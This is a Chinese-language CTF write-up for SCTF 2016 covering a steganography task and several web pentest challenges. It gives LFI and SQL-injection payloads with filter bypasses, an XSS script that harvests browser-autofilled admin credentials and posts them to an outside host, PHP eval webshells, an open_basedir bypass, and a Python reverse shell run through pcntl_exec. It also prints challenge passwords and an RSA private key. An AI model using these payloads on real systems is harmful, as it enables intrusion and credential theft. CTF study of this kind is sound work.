周末打了sctf2016,结果遇到了tomato大神的各种渗透题目….大神的脑回路都好长啊,题目都是一层连一层…
MISC 神秘代码 讲个故事,叫做神秘代码。
打开故事的目录…. 大兄弟,真车啊~一颗赛艇
稍微试了一下发现没什么收货,用foremost拆出来一个r.zip,结果主办方说没关系…
后来给出一个提示
神秘代码_hint stegdetect
那就下这个软件吧,搞了1天都没搞定,结果换个人换个linux就下好了,跑出来是JPhide,那么搜搜看吧
http://linux01.gwdg.de/~alatham/stego.html
从这里可以搞到windows版的JPhide解密工具,打开用空密码就可以解出来了
PENTEST 渗透的水平还不够高,后面看到别的wp会再慢慢补回来…
homework 进去看到是一个学生的作业系统,稍微翻翻发现一个重要的地方http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt 存在本地文件包含漏洞,先读源码回来吧http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/read=convert.base64-encode/resource=homework.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php session_start(); include('./config.php'); @$username=$_POST['username']; @$password=$_POST['password']; @include($_GET['homework']); $username=intval($username); $password=md5($password); $result=mysql_query("select * from info where username='$username'&&password='$password'"); $row=mysql_fetch_array($result); if(empty($row)) { print("ûÓиÃѧÉú»òÕßÃÜ ë´íÁËÒ²ÓпÉÄÜÊÇÄãµÄѧºÅ´íÁË.....×ÜÖ®ÓÐʲôµØ·½´íÁË¡£"); exit(); }else { $_SESSION['login']=1; $_SESSION['xuehao']=$row['username']; header("Location: ./homework.php");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <html> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> </html> <?php session_start(); if($_SESSION['login']!=1){ exit('Plz Login'); } if(preg_match('/^read/',$_GET['homework'])) { exit('Plz Don\'t read my code'); } @include($_GET['homework']); include('./config.php'); $result=mysql_query("select * from info where username='$_SESSION[xuehao]'"); $row=mysql_fetch_array($result); echo "Welcome".$row['name']."</B>to Homework Center.<br />"; echo "<img src='".$row['pic']."'><br />"; echo "<a href='./homework.php?homework=homework.txt'>homework</a>";
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <html> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> </html> <?php include('./config.php'); session_start(); function make_password() { $password=""; $chars="abcdefghijklmnopqrstuvwxyz1234567890-=!@#$%^&*_"; for($i=0;$i<8;$i++) { $password.=$chars[rand(0,46)]; } return $password; } if(isset($_POST['captcha_code'])){ // code for check server side validation if(empty($_SESSION['captcha_code'] ) || strcasecmp($_SESSION['captcha_code'], $_POST['captcha_code']) != 0){ exit('éªè¯ç é误'); }else{// Captcha verification is Correct. Final Code Execute here! } } if(isset($_POST['upload'])){ $filename = $_FILES['uploaded']['name']; $filetype = $_FILES['uploaded']['type']; $filesize = $_FILES['uploaded']['size']; $tmpname = $_FILES['uploaded']['tmp_name']; $uploaddir = './upload/'; $target_path = $uploaddir.basename($filename); $fileext = substr(strrchr($filename,"."),1); if(($fileext == 'gif')&&($filetype == "image/gif")){ { if(move_uploaded_file($tmpname,$target_path)) { } } $im =imagecreatefromgif($target_path); srand(time()); $newfilename = strval(rand()).".gif"; $newimagepath = $uploaddir.$newfilename; imagegif($im,$newimagepath); unlink($target_path); }else if(($fileext == 'jpg')&&($filetype == "image/jpeg")) { if(move_uploaded_file($tmpname,$target_path)) { } $im =imagecreatefromjpeg($target_path); srand(time()); $newfilename = strval(rand()).".jpg"; $newimagepath = $uploaddir.$newfilename; imagejpeg($im,$newimagepath); unlink($target_path); }else if (($fileext=='png')&&($filetype=="image/png")) { if(move_uploaded_file($tmpname,$target_path)) { } $im =imagecreatefromjpeg($target_path); srand(time()); $newfilename = strval(rand()).".png"; $newimagepath = $uploaddir.$newfilename; imagejpeg($im,$newimagepath); unlink($target_path); } } if(isset($_POST['name'])&&isset($_POST['age'])) { $name=substr($_POST['name'],0,6); $age=intval($_POST['age']); $username=file_get_contents('./id.txt'); $password=make_password(); file_put_contents('./id.txt',intval($username)+1); mysql_query("insert into info(username,password,name,pic,age)values('$username',md5('$password'),'$name','$newimagepath',$age)"); mysql_close($con); print("çææåï¼å¦å·:$username,å¯ç ï¼$password"); print("<a href='./index.html'>å主页</a>"); } ?>
1 2 3 4 5 6 7 8 9 <?php $db_user='web'; $db_password='WebPaSSw0rd!'; $db_host='localhost'; $db_database='web'; $con =mysql_connect($db_host,$db_user,$db_password) or die('Not connect'); mysql_select_db($db_database,$con) or dir('Not select'); mysql_query('SET NANES UTF8'); ?>
稍微研究一下源码发现name存在注入,但是只有6位,所以没什么用。 那就是上传文件的地方有问题了,测试一下发现重点在于这两个函数imagecreatefromjpeg
imagecreatefromgif
发现这两个函数会把图片做处理,如果图片是不可解析的,那么直接回返回false不会写进文件中去。那么应该就是构造一个图片shell了
做题时开始踩了坑,因为发现这个函数会把图片中的内容重构过,所以直接写shell失败,所以试图写在不会被处理的地方,所以发现了这篇文章https://www.secgeek.net/bookfresh-vulnerability/
蛋疼的是线上无效(后来发现其实phpInfo()其实被删了),然后找别的办法,尝试使用gif
测试发现gif的处理不像jpg那么严格,几乎没有对图片的重构,所以在图片的前面在不影响内容的情况下写入了一句话。
然后列目录读文件就get flag了
1 a=echo "<br />" ;$handler = opendir('./' );while ( ($filename = readdir($handler )) !== false ) {echo $filename ."<br/>" ;}$username =file_get_contents('./4ff692fb12aa996e27f0a108bfc386c2' );var_dump($username );
hackme 题目刚出的时候没去看,后来发现给了一大堆提示Hackme提示 1.网站开发人员经常会去看备忘录 2.想办法拿到管理员密码
打开站发现并不能没有找到备忘录在哪 只能找到http://hackme.sctf.xctf.org.cn/login.php http://hackme.sctf.xctf.org.cn/index.php?id=1 这两个页面。 测试发现存在注入http://hackme.sctf.xctf.org.cn/index.php?id=-1||1# 发现对空格和很多敏感函数有过滤,尝试用/!00000xxx /这样的方式绕过,成功http://hackme.sctf.xctf.org.cn/index.php?id=1/*!00000union*//*!00000select*/version()%23
先看看数据库内容
1 2 3 4 5 6 7 8 9 10 11 5.5.42-log user hackme@localhost 库名 hackme 库中有两个表 article 两个列 id content beiwanglu 3个列 id time event
看到有个beiwanglu的表
http://hackme.sctf.xctf.org.cn/index.php?id=1/*!00000union*//*!00000select*/event/*!00000from*/beiwanglu%23 进去的时候看到是备忘录内容,想起一个hint是说管理员会看自己的备忘录,那么插入一个js看看
1 http://hackme.sctf.xctf.org.cn/index.php?id =1 ;/*!00000 insert *//*!00000 into */beiwanglu(id ,time,event)/*!00000 values*/(77 ,84 ,%27 %3Cscript /src=%22http: //xxx/1 .js%22 %3E %3C /script%3E %27 )%23
开始×回来了phpsession,发现无效,于是尝试能不能读文件
1 http:// hackme.sctf.xctf.org.cn/index.php?id=1/ *!00000 union*// *!00000 select*/load_file('/ etc/passwd')%23
发现什么都能读于是翻了翻php和nginx的配置,还翻了翻lnmp的log,没什么收获 尝试能不能写一个webshell进去,发现权限不够,只能写在/tmp下。
这时候看到提示说浏览器的记住密码 想到一种可能,构造一个表单,浏览器会自动填充,然后获取内容post回来,尝试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 var form1 = document.createElement("form"); form1.id = "lg-form"; form1.name = "lg-form"; document.body.appendChild(form1); var input = document.createElement("input"); input .type = "text"; input .name = "username"; input .id = "username"; input .placeholder = "username";var input2 = document.createElement("input"); input2.type = "password"; input2.name = "password"; input2.id = "password"; input2.placeholder = "password"; var button1 = document.createElement("button"); button1.type = "submit"; button1.id = "login"; form1.appendChild(input ); form1.appendChild(input2); form1.appendChild(button1); form1.method = "POST"; form1.action = ""; user = document.getElementById('username' ).value ;pass = document.getElementById('password' ).value ; var xml = new XMLHttpRequest(); xml .open ('POST' , 'http://xss.xxx.cc' , true ); xml .setRequestHeader("Content-type","application/x-www-form-urlencoded"); setTimeout(xml .send('username=' +user +'&password=' +pass),2000 );
后面的settimeout是因为第一次测试的时候发现填充是需要时间的,所以需要延时
get username&password
1 2 3 4 5 username admin password nizhendeyongyuancaibudaomimade
登录进去后发现是个下载器,然后有任意文件下载漏洞,可以构造....//index.php
绕过过滤(其实也就是因为这个才发现之前会报错的mysql写入其实是写入了的),阅读源码发现一个比较重要的文件是session.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php class FileSessionHandler { private $savePath; function open ($savePath, $sessionName) { $this ->savePath = $savePath; if (!is_dir($this ->savePath)) { mkdir($this ->savePath, 0777 ); } return true ; } function close () { return true ; } function read ($id) { return (string)@file_get_contents("$this->savePath/sess_$id" ); } function write ($id, $data) { return file_put_contents("$this->savePath/sess_$id" , $data) === false ? false : true ; } function destroy ($id) { $file = "$this->savePath/sess_$id" ; if (file_exists($file)) { unlink($file); } return true ; } function gc ($maxlifetime) { foreach (glob("$this->savePath/sess_*" ) as $file) { if (filemtime($file) + $maxlifetime < time() && file_exists($file)) { unlink($file); } } return true ; } } $handler = new FileSessionHandler(); session_set_save_handler( array ($handler, 'open' ), array ($handler, 'close' ), array ($handler, 'read' ), array ($handler, 'write' ), array ($handler, 'destroy' ), array ($handler, 'gc' ) ); register_shutdown_function('session_write_close' ); session_start();
还有个init.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 header("Content-type:text/html;charset=utf-8" ); // error_reporting(0 );if (@$_COOKIE ['admin' ] !=='f34c2e6132748fed3ac48959c10fddcb637ca8fb' ) exit ('error!' );spl_autoload_register(); include 'session.php' ; function download($filename ){ if (!file_exists($filename )){ exit ('文件找不到!' ); }else { header("Content-type: application/octet-stream" ); header("Accept-Ranges: bytes" ); header("Content-Disposition: attachment; filename={$filename}" ); header("Accept-Length:" .filesize($filename )); readfile($filename ); } }
找到一篇文章是http://www.freebuf.com/vuls/89754.html
尝试了发现环境不太相似,后来想起来三个白帽曾经见过一个http://drops.wooyun.org/tips/10564 spl_autoload_register函数 如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc”的文件,并加载其中的“类名”类。
按照这样的方法反序列化session发现只能包含当前目录下,怎么都包含不到/tmp/…想了很久也没想出来,放弃….
赛后看到了大神的wp,才知道这里其实是忽略了一个很重要的东西http://www.firesun.me/sctf2016-web-hackme-writeup/
在php.ini中有个很重要的设置:
在本机环境下这里并没有tmp目录(忘记看题目的了。。。) 这样/tmp也会被sql_autpload_register函数 搜索(错过了getshell的机会)
我们可以本地测试一下这个:
首先在session.php下写一个$_SESSION['a']=new test()
然后在/tmp下写一个test.php<?php echo 233?>
1 2 root@VM-181-46-ubuntu:/home/wwwroot/default/test # php init.php 233PHP Fatal error : spl_autoload(): Class test could not be loaded in /home/wwwroot/default/test /session.php on line 63
虽然报错了,但是确实执行了,那么剩下就是session反序列化得问题了
我们在/tmp目录下构造一个webshell test.php
1 <?php eval ($_GET['a' ])?>
然后生成一个合理的session文件,类似于sess_26位随机数,向sess下写入我们想要的内容
1 http://hackme.sctf.xctf.org.cn/index .php?id=0 'a|O:4:"test":0:{}' into outfile'/tmp/sess_xxxxxxxxxxxxxxxxxxx'
带着上面的session去访问main.php
getshell
这里firesun大神用了
1 2 <?php file_put_contents("/home/wwwroot/hackme/05d6a8025a7d0c0eee5f6d12a0a94cc9/shell.php" ,'<?php eval ($_POST [1]) ;?>');
像网站目录中写了一个webshell,想想应该要比我的方法更好,方便后续的操作
进去了发现由于.user.ini设置了
1 open_baseair = /home/ wwwroot/hackme:/tmp/ :/proc/
所以要想办法绕过了 我只知道两种,第一种是firesun大神使用的 通过在子目录设置.user.ini
来覆盖设置
由于main.php、session.php、session.php在子目录05d6a8025a7d0c0eee5f6d12a0a94cc9/下,在05d6a8025a7d0c0eee5f6d12a0a94cc9/下写入一个.user.ini
然后等5分钟生效,然后shell不再受open_basedir限制,找找发现flag在wwwroot/flag_is_here下
但是这种方式不是tomato大神的本意,第二种方式是服务器配置不当导致http://wooyun.org/bugs/wooyun-2010-0145879 在php.ini中可以看到被禁用的函数
1 disable_functions = passthru,exec ,system ,chroot ,scandir,chgrp,chown ,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink ,symlink ,popepassthru,stream_socket_server
其中少了一个很重要的是pcntl_exe
说明我们可以执行与php无关的二进制文件,条件好甚至可以反弹shell 写一个py在/tmp目录下
1 2 3 4 5 6 7 import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("IP地址" ,端口)) os .dup2(s.fileno(),0 ) os .dup2(s.fileno(),1 ) os .dup2(s.fileno(),2 ) p=subprocess.call(["/bin/bash" ,"-i" ]);
然后用pcntl_exec启动
1 pcntl_exec("/usr/bin/python" ,array("/tmp/1.py" ))
get shell
当然可以想wooyun文章上说那样输入,原理相同
蜜汁公司 http://mizhicrop.sctf.xctf.org.cn 1.提示都在QQ空间里面 2.社工 3.找到测试站点,然后拿下蜜汁公司
http://user.qzone.qq.com/2137162120 28岁 6.1生日 Bl4ck_Roll 肖咪咪 (Bl4ck_Roll) 蜜汁公司 - CTO
得到印象笔记 帐号:2137162120@qq.com 密码:xiaomimi0601
加了好友社工到了验证码√
发现重要的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 服务器管理 114.215 .103 .83 用户名 bl4ckr0ll 最近这个账号有点问题,还是把执行权限给去掉 id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAyYZoMBDUrjIYXLPbJsqNVDENbyWVSeKfyIc0bQ6LPBWYagKI uPGQ3Lqq4vyvdePutqT7zhHEkj50RAOzTt2m595ldxx3YXYZhryF/XwDcKUhYv9O Rqzt0j3MM+ekfrZI7cryMvUJcoYdwnaD+O7ZOdmmE7gMkcHzlN+LDDND99JbzbrI C2kvHqWskE/zfMn2heI5MFPf0zLZgm932J6UI5ms0CdgVQCIQX3LzYfhC+mdbe3p X9ptcSeCowjC5RdqtjiML6DWvmD2VcavJRfqDi26pKmhy8xnOoeDJu87WpFXnQbx GJpJ81QsFJPRyXdT5NZojhR7Jz4lnnwHz9kZZQIDAQABAoIBAEkW10i/gfNftdhB XvVVtyZW2BF8pwVyDRN0ff4jrTnwdyPToXS6IBj+FqZWkOiH73cMpUraxNlpj09v rCOpXjRwQ4qMp3uQkrd8Pnht9u1u5on6IJCffW2n/hzBIbbXM+ISnf7/QhroK3jw 9 PJe5igGGSbDtMNUfZx76vlUyozheCvBO98FvS5maHx5Si4POeGU9JyU4gA4SFvX0 JIcI7DjLCpL23kuG5hXBDx5IEPXAB7HTqXcd+CF+/qIsPbeRdy5Ys03pNJ1BGqt/9 vlryUYs0PIE4vAx6iBZhwffEbpcLsSlTB0HTbyFGKs2IJqdu5tP3aC81yhN4Kw WQMZAK0CgYEA9W1i80/wkSuGR9gnP1NEuLFpAcqDEXSpVJbi6xdOeFqq9r54zt9O ml41FAtV15/3 zkrUh/P5RvtR1Jz23kQF4IKHn76KTYUAt/AcY4P4Bg4qI6QiUigO r7YfAslGjGJNwLMokIt3Dizrq19QCc+9 gaRVI20HV+gd4FSBywdmOKsCgYEA0jTb 4 RgJHAwXuec3jIuO9P4G9m+iA3dGCW/ZkySLCQBLHr2pjTzEf+2 /CNJTVKnfASrssJpicKr/n/O7SJJi0M/vAkcJLi5yH7R3nX7sRJn9BBxxC5gxGFFgtTXS5hwOj2wy cpHXS6ObKa+58 MKJ+cqA1yUjvDYa5Q6c6m2iFi8CgYANoZ21VeNOrNQweVj0s3NF rtTePJk7BvfAswC3ffvlw2NrgPjExLJg8IqSKm8CIuholM9pHavivWK2JGGxxqVs 6 tMNlE+qLpDzpmptPI8yBudgQ2WEmqT2LW9bgEJi2bLn2QuPu69JIkWUpx6S7O7hnHb+GLgnscS3CPqMhESxMQKBgQCnRytHOHJfYHwtE4QQEysjaVevGu0J5wvUDK9P OgBunE4rW3EnFRmmWFLyuTVZJYlyi28ppuH5mQqthi8etGdwllg0LsVue8WT13Bs 5 AkvGn/PmraXLHi9Sl00N23qcp9foRGQPODgr4SVquLEZnuYTX80Nrj2WPQUHgnfQHmBPwKBgEpoS+y1s3P8YIW50dpCA4PNQgBNwWpWXiHgMiftGtlq3+t7VUZcJqq+ ak3/isqwkfTRqWZwrWD26RIgUAyp16ufoRkOlASac5jVPc5BsTg/bwhpbVha8Lyi Vj861IZS+UMaoS7KHggTrxxZ6QzwRI1bjYWkyNMhpTweH4/O8Ydf -----END RSA PRIVATE KEY-----
但是一连上就会被踢出,所以后来没做了,但是比赛要结束的时候得到一个cve编号cve-2016-3115
找到一篇文章
http://blog.csdn.net/qq_27446553/article/details/50906562
得到一个poc,尝试发现成功连上服务器,可惜的是只有读文件和写文件的功能,翻了10分钟也没找到什么有用的信息….好吧Orz